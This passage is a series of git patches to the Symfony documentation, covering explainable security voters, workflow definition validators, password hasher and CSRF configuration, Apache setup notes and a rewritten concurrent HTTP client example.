-Doctrine `Translatable Extension`_ or the `Translatable Behavior`_. For more
-information, read the documentation of those libraries.
+Doctrine `Translatable Extension`_.
 
 Custom Translation Resources
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -1599,7 +1598,6 @@ Learn more
 .. _`ISO 3166-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_3166-1#Current_codes
 .. _`ISO 639-1`: https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
 .. _`Translatable Extension`: https://github.com/doctrine-extensions/DoctrineExtensions/blob/main/doc/translatable.md
-.. _`Translatable Behavior`: https://github.com/KnpLabs/DoctrineBehaviors
 .. _`Custom Language Name setting`: https://docs.lokalise.com/en/articles/1400492-uploading-files#custom-language-codes
 .. _`ICU resource bundle`: https://github.com/unicode-org/icu-docs/blob/main/design/bnf_rb.txt
 .. _`Portable object format`: https://www.gnu.org/software/gettext/manual/html_node/PO-Files.html

From 203c0f8e21071ad1396ef12686a344e39f47a1bc Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Tue, 25 Feb 2025 20:45:57 +0100
Subject: [PATCH 5657/5766] [Security] Add ability for voters to explain their
 vote

---
 security.rst        |  8 +++++++-
 security/voters.rst | 30 +++++++++++++++++++++++-------
 2 files changed, 30 insertions(+), 8 deletions(-)

diff --git a/security.rst b/security.rst
index ca910765be0..5a6fc15ae2e 100644
--- a/security.rst
+++ b/security.rst
@@ -2704,13 +2704,14 @@ anonymous users access by checking if there is no user set on the token::
     // ...
     use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
     use Symfony\Component\Security\Core\Authentication\User\UserInterface;
+    use Symfony\Component\Security\Core\Authorization\Voter\Vote;
     use Symfony\Component\Security\Core\Authorization\Voter\Voter;
 
     class PostVoter extends Voter
     {
         // ...
 
-        protected function voteOnAttribute(string $attribute, $subject, TokenInterface $token): bool
+        protected function voteOnAttribute(string $attribute, $subject, TokenInterface $token, ?Vote $vote = null): bool
         {
             // ...
 
@@ -2722,6 +2723,11 @@ anonymous users access by checking if there is no user set on the token::
         }
     }
 
+.. versionadded:: 7.3
+    
+    The `$vote` parameter in the :method:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\VoterInterface::voteOnAttribute` method
+    was introduced in Symfony 7.3.
+
 Setting Individual User Permissions
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/security/voters.rst b/security/voters.rst
index e7452fadf99..ba4c96fe6fd 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -40,14 +40,20 @@ or extend :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\Vote
 which makes creating a voter even easier::
 
     use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
+    use Symfony\Component\Security\Core\Authorization\Voter\Vote;
     use Symfony\Component\Security\Core\Authorization\Voter\VoterInterface;
 
     abstract class Voter implements VoterInterface
     {
         abstract protected function supports(string $attribute, mixed $subject): bool;
-        abstract protected function voteOnAttribute(string $attribute, mixed $subject, TokenInterface $token): bool;
+        abstract protected function voteOnAttribute(string $attribute, mixed $subject, TokenInterface $token, ?Vote $vote = null): bool;
     }
 
+.. versionadded:: 7.3
+    
+    The `$vote` parameter in the :method:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\VoterInterface::voteOnAttribute` method
+    was introduced in Symfony 7.3.
+
 .. _how-to-use-the-voter-in-a-controller:
 
 .. tip::
@@ -140,6 +146,7 @@ would look like this::
     use App\Entity\Post;
     use App\Entity\User;
     use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
+    use Symfony\Component\Security\Core\Authorization\Voter\Vote;
     use Symfony\Component\Security\Core\Authorization\Voter\Voter;
 
     class PostVoter extends Voter
@@ -163,12 +170,14 @@ would look like this::
             return true;
         }
 
-        protected function voteOnAttribute(string $attribute, mixed $subject, TokenInterface $token): bool
+        protected function voteOnAttribute(string $attribute, mixed $subject, TokenInterface $token, ?Vote $vote = null): bool
         {
             $user = $token->getUser();
+            $vote ??= new Vote();
 
             if (!$user instanceof User) {
                 // the user must be logged in; if not, deny access
+                $vote->reasons[] = 'The user is not logged in.';
                 return false;
             }
 
@@ -197,7 +206,13 @@ would look like this::
         private function canEdit(Post $post, User $user): bool
         {
             // this assumes that the Post object has a `getOwner()` method
-            return $user === $post->getOwner();
+            if ($user === $post->getOwner()) {
+                return true;
+            }
+
+            $vote->reasons[] = 'You are not the owner of the Post.';
+
+            return false;
         }
     }
 
@@ -215,11 +230,12 @@ To recap, here's what's expected from the two abstract methods:
     return ``true`` if the attribute is ``view`` or ``edit`` and if the object is
     a ``Post`` instance.
 
-``voteOnAttribute(string $attribute, mixed $subject, TokenInterface $token)``
+``voteOnAttribute(string $attribute, mixed $subject, TokenInterface $token, ?Vote $vote = null)``
     If you return ``true`` from ``supports()``, then this method is called. Your
     job is to return ``true`` to allow access and ``false`` to deny access.
-    The ``$token`` can be used to find the current user object (if any). In this
-    example, all of the complex business logic is included to determine access.
+    The ``$token`` can be used to find the current user object (if any). The ``$vote``
+    argument can be used to add a reason to the vote. In this example, all of the
+    complex business logic is included to determine access.
 
 .. _declaring-the-voter-as-a-service:
 
@@ -256,7 +272,7 @@ with ``ROLE_SUPER_ADMIN``::
         ) {
         }
 
-        protected function voteOnAttribute($attribute, mixed $subject, TokenInterface $token): bool
+        protected function voteOnAttribute($attribute, mixed $subject, TokenInterface $token, ?Vote $vote = null): bool
         {
             // ...
 

From ef9c945fe180c9a7a459b37e6a13fd0f63c9678d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 23 May 2025 10:24:48 +0200
Subject: [PATCH 5658/5766] Minor tweaks

---
 security.rst        |  4 ++--
 security/voters.rst | 22 ++++++++++++----------
 2 files changed, 14 insertions(+), 12 deletions(-)

diff --git a/security.rst b/security.rst
index 8b1c8a96e69..9d2df6165d0 100644
--- a/security.rst
+++ b/security.rst
@@ -2715,8 +2715,8 @@ anonymous users access by checking if there is no user set on the token::
 
 .. versionadded:: 7.3
     
-    The `$vote` parameter in the :method:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\VoterInterface::voteOnAttribute` method
-    was introduced in Symfony 7.3.
+    The ``$vote`` argument of the ``voteOnAttribute()`` method was introduced
+    in Symfony 7.3.
 
 Setting Individual User Permissions
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
diff --git a/security/voters.rst b/security/voters.rst
index ba4c96fe6fd..2b4a5af54e2 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -51,8 +51,8 @@ which makes creating a voter even easier::
 
 .. versionadded:: 7.3
     
-    The `$vote` parameter in the :method:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\VoterInterface::voteOnAttribute` method
-    was introduced in Symfony 7.3.
+    The ``$vote`` argument of the ``voteOnAttribute()`` method was introduced
+    in Symfony 7.3.
 
 .. _how-to-use-the-voter-in-a-controller:
 
@@ -173,11 +173,10 @@ would look like this::
         protected function voteOnAttribute(string $attribute, mixed $subject, TokenInterface $token, ?Vote $vote = null): bool
         {
             $user = $token->getUser();
-            $vote ??= new Vote();
 
             if (!$user instanceof User) {
                 // the user must be logged in; if not, deny access
-                $vote->reasons[] = 'The user is not logged in.';
+                $vote?->addReason('The user is not logged in.');
                 return false;
             }
 
@@ -205,12 +204,15 @@ would look like this::
 
         private function canEdit(Post $post, User $user): bool
         {
-            // this assumes that the Post object has a `getOwner()` method
-            if ($user === $post->getOwner()) {
+            // this assumes that the Post object has a `getAuthor()` method
+            if ($user === $post->getAuthor()) {
                 return true;
             }
 
-            $vote->reasons[] = 'You are not the owner of the Post.';
+            $vote?->addReason(sprintf(
+                'The logged in user (username: %s) is not the author of this post (id: %d).',
+                $user->getUsername(), $post->getId()
+            ));
 
             return false;
         }
@@ -233,9 +235,9 @@ To recap, here's what's expected from the two abstract methods:
 ``voteOnAttribute(string $attribute, mixed $subject, TokenInterface $token, ?Vote $vote = null)``
     If you return ``true`` from ``supports()``, then this method is called. Your
     job is to return ``true`` to allow access and ``false`` to deny access.
-    The ``$token`` can be used to find the current user object (if any). The ``$vote``
-    argument can be used to add a reason to the vote. In this example, all of the
-    complex business logic is included to determine access.
+    The ``$token`` can be used to find the current user object (if any).
+    The ``$vote`` argument can be used to provide an explanation for the vote.
+    This explanation is included in log messages and on exception pages.
 
 .. _declaring-the-voter-as-a-service:
 

From a2c83bfb2fc02162dcc2e13a5d67d6f187c861a8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 23 May 2025 10:50:10 +0200
Subject: [PATCH 5659/5766] Minor tweaks

---
 workflow.rst | 24 +++++++++++++-----------
 1 file changed, 13 insertions(+), 11 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 544f775cce0..482fe8ed273 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -1306,11 +1306,11 @@ In Twig templates, metadata is available via the ``workflow_metadata()`` functio
         </ul>
     </p>
 
-Adding Custom Definition Validators
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Validating Workflow Definitions
+-------------------------------
 
-Sometimes, you may want to add custom logics to validate your workflow definition.
-To do this, you need to implement the
+Symfony allows you to validate workflow definitions using your own custom logic.
+To do so, create a class that implements the
 :class:`Symfony\\Component\\Workflow\\Validator\\DefinitionValidatorInterface`::
 
     namespace App\Workflow\Validator;
@@ -1326,11 +1326,12 @@ To do this, you need to implement the
             if (!$definition->getMetadataStore()->getMetadata('title')) {
                 throw new InvalidDefinitionException(sprintf('The workflow metadata title is missing in Workflow "%s".', $name));
             }
+
+            // ...
         }
     }
 
-Once your definition validator is implemented, you can configure your workflow to use
-it:
+After implementing your validator, configure your workflow to use it:
 
 .. configuration-block::
 
@@ -1340,7 +1341,7 @@ it:
         framework:
             workflows:
                 blog_publishing:
-                    # ... previous configuration
+                    # ...
 
                     definition_validators:
                         - App\Workflow\Validator\BlogPublishingValidator
@@ -1357,7 +1358,7 @@ it:
         >
             <framework:config>
                 <framework:workflow name="blog_publishing">
-                    <!-- ... previous configuration -->
+                    <!-- ... -->
                     <framework:definition-validators>App\Workflow\Validator\BlogPublishingValidator</framework:definition-validators>
                 </framework:workflow>
             </framework:config>
@@ -1370,7 +1371,7 @@ it:
 
         return static function (FrameworkConfig $framework): void {
             $blogPublishing = $framework->workflows()->workflows('blog_publishing');
-            // ... previous configuration
+            // ...
 
             $blogPublishing->definitionValidators([
                 App\Workflow\Validator\BlogPublishingValidator::class
@@ -1379,11 +1380,12 @@ it:
             // ...
         };
 
-The ``BlogPublishingValidator`` definition validator will be executed during the container compilation.
+The ``BlogPublishingValidator`` will be executed during container compilation
+to validate the workflow definition.
 
 .. versionadded:: 7.3
 
-    Support for defining custom workflow definition validators was introduced in Symfony 7.3.
+    Support for workflow definition validators was introduced in Symfony 7.3.
 
 Learn more
 ----------

From 6a908963b4574972ce644893138b76e5a52609c2 Mon Sep 17 00:00:00 2001
From: Romain Card <47689092+Synxgz@users.noreply.github.com>
Date: Fri, 23 May 2025 10:57:44 +0200
Subject: [PATCH 5660/5766] [Security] Fix type in `upgradePassword`

---
 security/passwords.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/security/passwords.rst b/security/passwords.rst
index fe20187b3a0..4bf481fa827 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -500,13 +500,14 @@ the user provider::
     namespace App\Security;
 
     // ...
+    use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
     use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
 
     class UserProvider implements UserProviderInterface, PasswordUpgraderInterface
     {
         // ...
 
-        public function upgradePassword(UserInterface $user, string $newHashedPassword): void
+        public function upgradePassword(PasswordAuthenticatedUserInterface $user, string $newHashedPassword): void
         {
             // set the new hashed password on the User object
             $user->setPassword($newHashedPassword);

From faa30fc32ec1a0360baa201db0afd7edcf4861bb Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 25 May 2025 11:52:44 +0200
Subject: [PATCH 5661/5766] [Security] Stateless CSRF is enabled by default in
 7.2

Page: https://symfony.com/doc/current/security/csrf.html#stateless-csrf-tokens

Info is taken from https://github.com/symfony/recipes/blob/main/symfony/form/7.2/config/packages/csrf.yaml
---
 security/csrf.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/csrf.rst b/security/csrf.rst
index b72c7cc2526..07e0671f07b 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -331,9 +331,9 @@ Stateless CSRF Tokens
 
 .. versionadded:: 7.2
 
-    Stateless anti-CSRF protection was introduced in Symfony 7.2.
+    Stateless anti-CSRF protection was introduced in Symfony 7.2, and set as default.
 
-By default CSRF tokens are stateful, which means they're stored in the session.
+Traditionally CSRF tokens are stateful, which means they're stored in the session.
 But some token ids can be declared as stateless using the ``stateless_token_ids``
 option:
 

From a73b542aa43ab744336cfbf8e341467f7746d13e Mon Sep 17 00:00:00 2001
From: Hamza Makraz <19323431+makraz@users.noreply.github.com>
Date: Sat, 24 May 2025 22:25:52 +0100
Subject: [PATCH 5662/5766] Update AsTaggedItem parameters name in the file
 value_resolver.rst

---
 controller/value_resolver.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 48d0ba17bdb..f0f0db9aff1 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -382,7 +382,7 @@ but you can set it yourself to change its ``priority`` or ``name`` attributes.
         use Symfony\Component\DependencyInjection\Attribute\AsTaggedItem;
         use Symfony\Component\HttpKernel\Controller\ValueResolverInterface;
 
-         #[AsTaggedItem(name: 'booking_id', priority: 150)]
+         #[AsTaggedItem(index: 'booking_id', priority: 150)]
         class BookingIdValueResolver implements ValueResolverInterface
         {
             // ...

From d7eae45b90ca74ab0fed17efc2708a543c11c046 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Sat, 24 May 2025 15:06:55 +0200
Subject: [PATCH 5663/5766] [Form] Remove link to abandoned collection package

---
 form/form_collections.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 2a0ba99657f..3c8a2050690 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -699,13 +699,12 @@ the relationship between the removed ``Tag`` and ``Task`` object.
 
     The Symfony community has created some JavaScript packages that provide the
     functionality needed to add, edit and delete elements of the collection.
-    Check out the `@a2lix/symfony-collection`_ package for modern browsers and
-    the `symfony-collection`_ package based on jQuery for the rest of browsers.
+    Check out the `@a2lix/symfony-collection`_ or search on GitHub for other
+    recent packages.
 
 .. _`Owning Side and Inverse Side`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/unitofwork-associations.html
 .. _`JSFiddle`: https://jsfiddle.net/ey8ozh6n/
 .. _`@a2lix/symfony-collection`: https://github.com/a2lix/symfony-collection
-.. _`symfony-collection`: https://github.com/ninsuo/symfony-collection
 .. _`ArrayCollection`: https://www.doctrine-project.org/projects/doctrine-collections/en/1.6/index.html
 .. _`Symfony UX Demo of Form Collections`: https://ux.symfony.com/live-component/demos/form-collection-type
 .. _`Stimulus`: https://symfony.com/doc/current/frontend/encore/simple-example.html#stimulus-symfony-ux

From f8cdbc89d9aadb4b509a314d28d093fb65f02557 Mon Sep 17 00:00:00 2001
From: miqrogroove <1371835+miqrogroove@users.noreply.github.com>
Date: Sun, 25 May 2025 11:15:12 -0400
Subject: [PATCH 5664/5766] Fixed typo in event_dispatcher.rst

---
 event_dispatcher.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index d9b913ed49f..13ef1624370 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -149,7 +149,7 @@ Defining Event Listeners with PHP Attributes
 
 An alternative way to define an event listener is to use the
 :class:`Symfony\\Component\\EventDispatcher\\Attribute\\AsEventListener`
-PHP attribute. This allows to configure the listener inside its class, without
+PHP attribute. This allows you to configure the listener inside its class, without
 having to add any configuration in external files::
 
     namespace App\EventListener;

From ff3a594325e29c00b95519ef2f422c3749e2531f Mon Sep 17 00:00:00 2001
From: Ilya Bakhlin Lebedev <github@ilyabakhlinlebedev.com>
Date: Sun, 25 May 2025 12:11:13 +0200
Subject: [PATCH 5665/5766] Updating the web_server_configuration.rst File

In the documentation, it's being said that Symfony requires the `symfony/apache-pack`, which adds a `.htaccess` file to the `public/` directory.

However, it's nowhere specified to change the `AllowOverride` setting from `None` to `All`.
---
 setup/web_server_configuration.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index fdedfc81794..27bcc67aab0 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -195,7 +195,8 @@ directive to pass requests for PHP files to PHP FPM:
     If you are doing some quick tests with Apache, you can also run
     ``composer require symfony/apache-pack``. This package creates an ``.htaccess``
     file in the ``public/`` directory with the necessary rewrite rules needed to serve
-    the Symfony application. However, in production, it's recommended to move these
+    the Symfony application. Don't forget to change the Apache's ``AllowOverride None`` setting to
+    ``AllowOverride All``. However, in production, it's recommended to move these
     rules to the main Apache configuration file (as shown above) to improve performance.
 
 Caddy

From 712707d07a4a322f8e387f9209279c949b50ae1a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 26 May 2025 12:59:37 +0200
Subject: [PATCH 5666/5766] Minor tweaks

---
 setup/web_server_configuration.rst | 14 ++++++++------
 1 file changed, 8 insertions(+), 6 deletions(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index 27bcc67aab0..43bd79c10dd 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -192,12 +192,14 @@ directive to pass requests for PHP files to PHP FPM:
 
 .. note::
 
-    If you are doing some quick tests with Apache, you can also run
-    ``composer require symfony/apache-pack``. This package creates an ``.htaccess``
-    file in the ``public/`` directory with the necessary rewrite rules needed to serve
-    the Symfony application. Don't forget to change the Apache's ``AllowOverride None`` setting to
-    ``AllowOverride All``. However, in production, it's recommended to move these
-    rules to the main Apache configuration file (as shown above) to improve performance.
+    If you're running some quick tests with Apache, you can run
+    ``composer require symfony/apache-pack`` to create an ``.htaccess`` file in
+    the ``public/`` directory with the rewrite rules needed to serve the Symfony
+    application. Make sure Apache's ``AllowOverride`` setting is set to ``All``
+    for that directory; otherwise, the ``.htaccess`` file will be ignored.
+
+    In production, however, it's recommended to move these rules to the main
+    Apache configuration file (as shown above) to improve performance.
 
 Caddy
 -----

From ff3f1a1a6ba524581818259645d2ab99d46d7c07 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 26 May 2025 15:29:35 +0200
Subject: [PATCH 5667/5766] [HttpClient] Update the concurrent requests section

---
 http_client.rst | 75 +++++++++++++++++++++++++++----------------------
 1 file changed, 41 insertions(+), 34 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index f4be8b2460b..e2b0b4f41bf 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1314,65 +1314,72 @@ remaining to do.
 Concurrent Requests
 -------------------
 
-Thanks to responses being lazy, requests are always managed concurrently.
-On a fast enough network, the following code makes 379 requests in less than
-half a second when cURL is used::
+Symfony's HTTP client makes asynchronous HTTP requests by default. This means
+you don't need to configure anything special to send multiple requests in parallel
+and process them efficiently.
 
+Here's a practical example that fetches metadata about several Symfony
+components from the Packagist API in parallel::
+
+    $packages = ['console', 'http-kernel', '...', 'routing', 'yaml'];
     $responses = [];
-    for ($i = 0; $i < 379; ++$i) {
-        $uri = "https://http2.akamai.com/demo/tile-$i.png";
-        $responses[] = $client->request('GET', $uri);
+    foreach ($packages as $package) {
+        $uri = sprintf('https://repo.packagist.org/p2/symfony/%s.json', $package);
+        // send all requests concurrently (they won't block until response content is read)
+        $responses[$package] = $client->request('GET', $uri);
     }
 
-    foreach ($responses as $response) {
-        $content = $response->getContent();
-        // ...
+    $results = [];
+    // iterate through the responses and read their content
+    foreach ($responses as $package => $response) {
+        // process response data somehow ...
+        $results[$package] = $response->toArray();
     }
 
-As you can read in the first "for" loop, requests are issued but are not consumed
-yet. That's the trick when concurrency is desired: requests should be sent
-first and be read later on. This will allow the client to monitor all pending
-requests while your code waits for a specific one, as done in each iteration of
-the above "foreach" loop.
+As you can see, the requests are sent in the first loop, but their responses
+aren't consumed until the second one. This is the key to achieving parallel and
+concurrent execution: dispatch all requests first, and read them later.
+This allows the client to handle all pending responses efficiently while your
+code waits only when necessary.
 
 .. note::
 
-    The maximum number of concurrent requests that you can perform depends on
-    the resources of your machine (e.g. your operating system may limit the
-    number of simultaneous reads of the file that stores the certificates
-    file). Make your requests in batches to avoid these issues.
+    The maximum number of concurrent requests depends on your system's resources
+    (e.g. the operating system might limit the number of simultaneous connections
+    or access to certificate files). To avoid hitting these limits, consider
+    processing requests in batches.
 
 Multiplexing Responses
 ~~~~~~~~~~~~~~~~~~~~~~
 
-If you look again at the snippet above, responses are read in requests' order.
-But maybe the 2nd response came back before the 1st? Fully asynchronous operations
-require being able to deal with the responses in whatever order they come back.
+In the previous example, responses are read in the same order as the requests
+were sent. However, it's possible that, for instance, the second response arrives
+before the first. To handle such cases efficiently, you need fully asynchronous
+processing, which allows responses to be handled in whatever order they arrive.
 
-In order to do so, the
-:method:`Symfony\\Contracts\\HttpClient\\HttpClientInterface::stream`
-accepts a list of responses to monitor. As mentioned
+To achieve this, the
+:method:`Symfony\\Contracts\\HttpClient\\HttpClientInterface::stream` method
+can be used to monitor a list of responses. As mentioned
 :ref:`previously <http-client-streaming-responses>`, this method yields response
-chunks as they arrive from the network. By replacing the "foreach" in the
-snippet with this one, the code becomes fully async::
+chunks as soon as they arrive over the network. Replacing the standard ``foreach``
+loop with the following version enables true asynchronous behavior::
 
     foreach ($client->stream($responses) as $response => $chunk) {
         if ($chunk->isFirst()) {
-            // headers of $response just arrived
-            // $response->getHeaders() is now a non-blocking call
+            // the $response headers just arrived
+            // $response->getHeaders() is now non-blocking
         } elseif ($chunk->isLast()) {
-            // the full content of $response just completed
-            // $response->getContent() is now a non-blocking call
+            // the full $response body has been received
+            // $response->getContent() is now non-blocking
         } else {
-            // $chunk->getContent() will return a piece
-            // of the response body that just arrived
+            // $chunk->getContent() returns a piece of the body that just arrived
         }
     }
 
 .. tip::
 
-    Use the ``user_data`` option combined with ``$response->getInfo('user_data')``
-    to track the identity of the responses in your foreach loops.
+    Use the ``user_data`` option along with ``$response->getInfo('user_data')``
+    to identify each response during streaming.
 
 Dealing with Network Timeouts
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 1ea48c70da87d7cebe252c7fb94cb0fce499834f Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Wed, 21 May 2025 18:15:40 -0400
Subject: [PATCH 5668/5766] [Security] remove `plaintext` password hasher usage

---
 security/passwords.rst | 90 +++++++++++++++++++-----------------------
 1 file changed, 40 insertions(+), 50 deletions(-)

diff --git a/security/passwords.rst b/security/passwords.rst
index 4bf481fa827..9ebfa122ab2 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -124,25 +124,22 @@ Further in this article, you can find a
 
         .. code-block:: yaml
 
-            # config/packages/test/security.yaml
-            security:
-                # ...
-
-                password_hashers:
-                    # Use your user class name here
-                    App\Entity\User:
-                        algorithm: plaintext # disable hashing (only do this in tests!)
-
-                    # or use the lowest possible values
-                    App\Entity\User:
-                        algorithm: auto # This should be the same value as in config/packages/security.yaml
-                        cost: 4 # Lowest possible value for bcrypt
-                        time_cost: 3 # Lowest possible value for argon
-                        memory_cost: 10 # Lowest possible value for argon
+            # config/packages/security.yaml
+            when@test:
+                security:
+                    # ...
+
+                    password_hashers:
+                        # Use your user class name here
+                        App\Entity\User:
+                            algorithm: auto
+                            cost: 4 # Lowest possible value for bcrypt
+                            time_cost: 3 # Lowest possible value for argon
+                            memory_cost: 10 # Lowest possible value for argon
 
         .. code-block:: xml
 
-            <!-- config/packages/test/security.xml -->
+            <!-- config/packages/security.xml -->
             <?xml version="1.0" encoding="UTF-8"?>
             <srv:container xmlns="http://symfony.com/schema/dic/security"
                 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
@@ -150,49 +147,42 @@ Further in this article, you can find a
                 xsi:schemaLocation="http://symfony.com/schema/dic/services
                     https://symfony.com/schema/dic/services/services-1.0.xsd">
 
-                <config>
-                    <!-- class: Use your user class name here -->
-                    <!-- algorithm: disable hashing (only do this in tests!) -->
-                    <security:password-hasher
-                        class="App\Entity\User"
-                        algorithm="plaintext"
-                    />
-
-                    <!-- or use the lowest possible values -->
-                    <!-- algorithm: This should be the same value as in config/packages/security.yaml -->
-                    <!-- cost: Lowest possible value for bcrypt -->
-                    <!-- time_cost: Lowest possible value for argon -->
-                    <!-- memory_cost: Lowest possible value for argon -->
-                    <security:password-hasher
-                        class="App\Entity\User"
-                        algorithm="auto"
-                        cost="4"
-                        time_cost="3"
-                        memory_cost="10"
-                    />
-                </config>
+                <when env="test">
+                    <config>
+                        <!-- class: Use your user class name here -->
+                        <!-- cost: Lowest possible value for bcrypt -->
+                        <!-- time_cost: Lowest possible value for argon -->
+                        <!-- memory_cost: Lowest possible value for argon -->
+                        <security:password-hasher
+                            class="App\Entity\User"
+                            algorithm="auto"
+                            cost="4"
+                            time_cost="3"
+                            memory_cost="10"
+                        />
+                    </config>
+                </when>
             </srv:container>
 
         .. code-block:: php
 
-            // config/packages/test/security.php
+            // config/packages/security.php
             use App\Entity\User;
+            use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
             use Symfony\Config\SecurityConfig;
 
-            return static function (SecurityConfig $security): void {
+            return static function (SecurityConfig $security, ContainerConfigurator $container): void {
                 // ...
 
-                // Use your user class name here
-                $security->passwordHasher(User::class)
-                    ->algorithm('plaintext'); // disable hashing (only do this in tests!)
-
-                // or use the lowest possible values
-                $security->passwordHasher(User::class)
-                    ->algorithm('auto') // This should be the same value as in config/packages/security.yaml
-                    ->cost(4) // Lowest possible value for bcrypt
-                    ->timeCost(2) // Lowest possible value for argon
-                    ->memoryCost(10) // Lowest possible value for argon
-                ;
+                if ('test' === $container->env()) {
+                    // Use your user class name here
+                    $security->passwordHasher(User::class)
+                        ->algorithm('auto') // This should be the same value as in config/packages/security.yaml
+                        ->cost(4) // Lowest possible value for bcrypt
+                        ->timeCost(2) // Lowest possible value for argon
+                        ->memoryCost(10) // Lowest possible value for argon
+                    ;
+                }
             };
 
 Hashing the Password

From 1851eae15c33913d2b483098b132ffb5ef548c5f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 May 2025 08:13:25 +0200
Subject: [PATCH 5669/5766] Remove the wrong XML config sample

---
 security/passwords.rst | 27 ---------------------------
 1 file changed, 27 deletions(-)

diff --git a/security/passwords.rst b/security/passwords.rst
index 9ebfa122ab2..7f05bc3acb9 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -137,33 +137,6 @@ Further in this article, you can find a
                             time_cost: 3 # Lowest possible value for argon
                             memory_cost: 10 # Lowest possible value for argon
 
-        .. code-block:: xml
-
-            <!-- config/packages/security.xml -->
-            <?xml version="1.0" encoding="UTF-8"?>
-            <srv:container xmlns="http://symfony.com/schema/dic/security"
-                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                xmlns:srv="http://symfony.com/schema/dic/services"
-                xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-                <when env="test">
-                    <config>
-                        <!-- class: Use your user class name here -->
-                        <!-- cost: Lowest possible value for bcrypt -->
-                        <!-- time_cost: Lowest possible value for argon -->
-                        <!-- memory_cost: Lowest possible value for argon -->
-                        <security:password-hasher
-                            class="App\Entity\User"
-                            algorithm="auto"
-                            cost="4"
-                            time_cost="3"
-                            memory_cost="10"
-                        />
-                    </config>
-                </when>
-            </srv:container>
-
         .. code-block:: php
 
             // config/packages/security.php

From 7d13bac560ff6506c3eaaf734aa388d7f7d3bf19 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 May 2025 08:28:54 +0200
Subject: [PATCH 5670/5766] Minor tweak

---
 security/csrf.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/security/csrf.rst b/security/csrf.rst
index 07e0671f07b..29fe96fa689 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -331,11 +331,12 @@ Stateless CSRF Tokens
 
 .. versionadded:: 7.2
 
-    Stateless anti-CSRF protection was introduced in Symfony 7.2, and set as default.
+    Stateless anti-CSRF protection was introduced in Symfony 7.2.
 
-Traditionally CSRF tokens are stateful, which means they're stored in the session.
-But some token ids can be declared as stateless using the ``stateless_token_ids``
-option:
+Traditionally, CSRF tokens are stateful, meaning they're stored in the session.
+However, some token IDs can be declared as stateless using the
+``stateless_token_ids`` option. Stateless CSRF tokens are enabled by default
+in applications using :ref:`Symfony Flex <symfony-flex>`.
 
 .. configuration-block::
 

From 881051cce0d0c678da689bcdd268f52e29c2a8de Mon Sep 17 00:00:00 2001
From: Dustin Meiner <168725484+curenect-meiner@users.noreply.github.com>
Date: Sun, 25 May 2025 14:39:42 +0200
